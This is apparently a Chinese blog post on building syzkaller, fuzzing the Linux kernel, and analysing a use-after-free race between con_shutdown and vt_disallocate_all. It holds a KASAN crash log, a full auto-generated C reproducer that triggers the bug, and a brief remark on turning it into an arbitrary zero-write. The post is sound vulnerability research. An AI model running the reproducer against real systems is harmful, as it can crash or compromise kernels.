0%

syz fuzz初探

0x00 环境搭建

0x00 编译syzkaller

0x00 go get syzkaller

在ubuntu下没有搭建失败,在manjaro比较顺利,首先安装go

1
sudo pacman -S go

然后环境变量就自己配置好了,比较方便,然后,参考·https://www.freebuf.com/sectool/142969.html

这个链接进行设置,go默认get的路径应该在 /home/user/go ,之后按照链接make就好了

0x01 生成镜像

利用 syzkaller/tools/create-img.sh 生成镜像,由于官方镜像下载很慢,所以,考虑国内源,把create-img.sh的

1
sudo debootstrap --include=$PREINSTALL_PKGS --components=main,contrib,non-free $RELEASE $DIR

改成

1
sudo debootstrap --include=$PREINSTALL_PKGS --components=main,contrib,non-free $RELEASE $DIR http://mirrors.163.com/debian/

就会快很多

0x02 编译kernel

参考 https://github.com/google/syzkaller/blob/master/docs/linux/setup_ubuntu-host_qemu-vm_x86-64-kernel.md

注意一共要加6个编译选项

1
2
3
4
5
6
CONFIG_KCOV=y
CONFIG_DEBUG_INFO=y
CONFIG_KASAN=y
CONFIG_KASAN_INLINE=y
CONFIG_CONFIGFS_FS=y
CONFIG_SECURITYFS=y

然后我遇到的问题是fuzz的crash信息不显示在哪个c文件的第几行crash的,而我的队友却显示。。。。

0x01 开始fuzz

我的运气比较好在fuzz一段时间之后,fuzz出了两个漏洞

虽然没有什么攻击性。。。。,就没想过交,又因为ghidra解析不了vmlinux,导致我分析很慢,各种问题。。。不是因为内存不够就是硬盘不足。。。。其中一个被今天修复了,其中 release_tty 那个漏洞今天被修复了

0x02 漏洞分析

我一开始是从我的dump文件分析的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
Syzkaller hit 'KASAN: use-after-free Write in release_tty' bug.

==================================================================
BUG: KASAN: use-after-free in con_shutdown+0x7f/0x90
Write of size 8 at addr ffff888065b12888 by task syz-executor532/328

CPU: 1 PID: 328 Comm: syz-executor532 Not tainted 5.6.0-rc6+ #1
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS ?-20191223_100556-anatol 04/01/2014
Call Trace:
dump_stack+0x95/0xce
print_address_description.constprop.0+0x16/0x200
__kasan_report.cold+0x37/0x77
kasan_report+0xe/0x20
con_shutdown+0x7f/0x90
release_tty+0xb6/0x440
tty_release_struct+0x35/0x50
tty_release+0xac6/0xdb0
__fput+0x26d/0x760
task_work_run+0x144/0x1c0
do_exit+0x975/0x2750
do_group_exit+0xee/0x310
__x64_sys_exit_group+0x3a/0x50
do_syscall_64+0x9c/0x390
entry_SYSCALL_64_after_hwframe+0x44/0xa9
RIP: 0033:0x43ee26
Code: Bad RIP value.
RSP: 002b:00007ffc5c942448 EFLAGS: 00000246 ORIG_RAX: 00000000000000e7
RAX: ffffffffffffffda RBX: 00000000004b03b0 RCX: 000000000043ee26
RDX: 0000000000000000 RSI: 000000000000003c RDI: 0000000000000000
RBP: 0000000000000000 R08: 00000000000000e7 R09: ffffffffffffffc0
R10: 0000000000000000 R11: 0000000000000246 R12: 00000000004b03b0
R13: 0000000000000001 R14: 0000000000000000 R15: 0000000000000001

Allocated by task 328:
save_stack+0x1b/0x80
__kasan_kmalloc.constprop.0+0xc2/0xd0
vc_allocate+0x1c0/0x690
con_install+0x4d/0x3e0
tty_init_dev+0xe9/0x420
tty_open+0x414/0xa70
chrdev_open+0x209/0x510
do_dentry_open+0x439/0x1010
path_openat+0x1182/0x45d0
do_filp_open+0x192/0x260
do_sys_openat2+0x3f5/0x5a0
do_sys_open+0xb2/0x120
do_syscall_64+0x9c/0x390
entry_SYSCALL_64_after_hwframe+0x44/0xa9

Freed by task 330:
save_stack+0x1b/0x80
__kasan_slab_free+0x12c/0x170
kfree+0x8c/0x230
vt_disallocate_all+0x276/0x380
vt_ioctl+0x1219/0x2560
tty_ioctl+0x66f/0x1310
ksys_ioctl+0xe4/0x130
__x64_sys_ioctl+0x6f/0xb0
do_syscall_64+0x9c/0x390
entry_SYSCALL_64_after_hwframe+0x44/0xa9

The buggy address belongs to the object at ffff888065b12800
which belongs to the cache kmalloc-1k of size 1024
The buggy address is located 136 bytes inside of
1024-byte region [ffff888065b12800, ffff888065b12c00)
The buggy address belongs to the page:
page:ffffea000196c400 refcount:1 mapcount:0 mapping:ffff88806cc01140 index:0x0 compound_mapcount: 0
flags: 0x100000000010200(slab|head)
raw: 0100000000010200 dead000000000100 dead000000000122 ffff88806cc01140
raw: 0000000000000000 0000000080100010 00000001ffffffff 0000000000000000
page dumped because: kasan: bad access detected

Memory state around the buggy address:
ffff888065b12780: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
ffff888065b12800: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
>ffff888065b12880: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
^
ffff888065b12900: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
ffff888065b12980: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================


Syzkaller reproducer:
# {Threaded:false Collide:false Repeat:true RepeatTimes:0 Procs:8 Sandbox: Fault:false FaultCall:-1 FaultNth:0 Leak:false NetInjection:false NetDevices:false NetReset:false Cgroups:false BinfmtMisc:false CloseFDs:false KCSAN:false DevlinkPCI:false UseTmpDir:false HandleSegv:false Repro:false Trace:false}
r0 = syz_open_dev$tty20(0xc, 0x4, 0x1)
ioctl$VT_DISALLOCATE(r0, 0x5608)


C reproducer:
// autogenerated by syzkaller (https://github.com/google/syzkaller)

#define _GNU_SOURCE

#include <dirent.h>
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>

static unsigned long long procid;

static void sleep_ms(uint64_t ms)
{
usleep(ms * 1000);
}

static uint64_t current_time_ms(void)
{
struct timespec ts;
if (clock_gettime(CLOCK_MONOTONIC, &ts))
exit(1);
return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}

static bool write_file(const char* file, const char* what, ...)
{
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
int err = errno;
close(fd);
errno = err;
return false;
}
close(fd);
return true;
}

static long syz_open_dev(volatile long a0, volatile long a1, volatile long a2)
{
if (a0 == 0xc || a0 == 0xb) {
char buf[128];
sprintf(buf, "/dev/%s/%d:%d", a0 == 0xc ? "char" : "block", (uint8_t)a1, (uint8_t)a2);
return open(buf, O_RDWR, 0);
} else {
char buf[1024];
char* hash;
strncpy(buf, (char*)a0, sizeof(buf) - 1);
buf[sizeof(buf) - 1] = 0;
while ((hash = strchr(buf, '#'))) {
*hash = '0' + (char)(a1 % 10);
a1 /= 10;
}
return open(buf, a2, 0);
}
}

static void kill_and_wait(int pid, int* status)
{
kill(-pid, SIGKILL);
kill(pid, SIGKILL);
int i;
for (i = 0; i < 100; i++) {
if (waitpid(-1, status, WNOHANG | __WALL) == pid)
return;
usleep(1000);
}
DIR* dir = opendir("/sys/fs/fuse/connections");
if (dir) {
for (;;) {
struct dirent* ent = readdir(dir);
if (!ent)
break;
if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0)
continue;
char abort[300];
snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort", ent->d_name);
int fd = open(abort, O_WRONLY);
if (fd == -1) {
continue;
}
if (write(fd, abort, 1) < 0) {
}
close(fd);
}
closedir(dir);
} else {
}
while (waitpid(-1, status, __WALL) != pid) {
}
}

static void setup_test()
{
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setpgrp();
write_file("/proc/self/oom_score_adj", "1000");
}

static void execute_one(void);

#define WAIT_FLAGS __WALL

static void loop(void)
{
int iter;
for (iter = 0;; iter++) {
int pid = fork();
if (pid < 0)
exit(1);
if (pid == 0) {
setup_test();
execute_one();
exit(0);
}
int status = 0;
uint64_t start = current_time_ms();
for (;;) {
if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid)
break;
sleep_ms(1);
if (current_time_ms() - start < 5 * 1000)
continue;
kill_and_wait(pid, &status);
break;
}
}
}

uint64_t r[1] = {0xffffffffffffffff};

void execute_one(void)
{
intptr_t res = 0;
res = syz_open_dev(0xc, 4, 0x15 + procid*2);
if (res != -1)
r[0] = res;
syscall(__NR_ioctl, r[0], 0x5608, 0);

}
int main(void)
{
syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 3ul, 0x32ul, -1, 0ul);
for (procid = 0; procid < 8; procid++) {
if (fork() == 0) {
loop();
}
}
sleep(1000000);
return 0;
}

说真的syzkaller真的强大,还能自己生成poc,奈何poc太长,一时半会看不懂,可以从dump信息中看出是由于 vt_disallocate_all() 函数和 con_shutdown() 函数条件竞争导致的uaf,之前在我的文章 cve-2020-8627 已经分析过vt_disallocate_all()函数的调用流程了,这篇文章主要分析一下con_shutdown()函数,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
static void vt_disallocate_all(void)
{
struct vc_data *vc[MAX_NR_CONSOLES];
int i;

console_lock();
for (i = 1; i < MAX_NR_CONSOLES; i++)
if (!VT_BUSY(i))
vc[i] = vc_deallocate(i);
else
vc[i] = NULL;
console_unlock();

for (i = 1; i < MAX_NR_CONSOLES; i++) {
if (vc[i] && i >= MIN_NR_CONSOLES) {
tty_port_destroy(&vc[i]->port);
kfree(vc[i]); <--free here
}
}
}

0x00 con_shutdown()函数

1
2
3
4
5
6
7
8
static void con_shutdown(struct tty_struct *tty)
{
struct vc_data *vc = tty->driver_data;
BUG_ON(vc == NULL);
console_lock();
vc->port.tty = NULL; <-- use here
console_unlock();
}

从dump文件可以看出con_shutdown()函数,应该被release_tty()函数条用,release_tty()又被tty_kclose()调用

0x01 竞争条件

条件竞争的情况就是在vc赋值之后,拿到锁之前,vt_disallocate_all()调用,拿到锁执行,把tty->driver_data释放掉,此时vc指向的是一个已经free过的指针,,之后,vt_disallocate_all()释放锁,con_shutdown()拿到锁继续执行,之后的赋值操作

1
vc->port.tty = NULL;

如果vc指向的内存又被分配,且内容可控的话,就可以实现任意地址写0的效果,但是,应该得用root权限。。。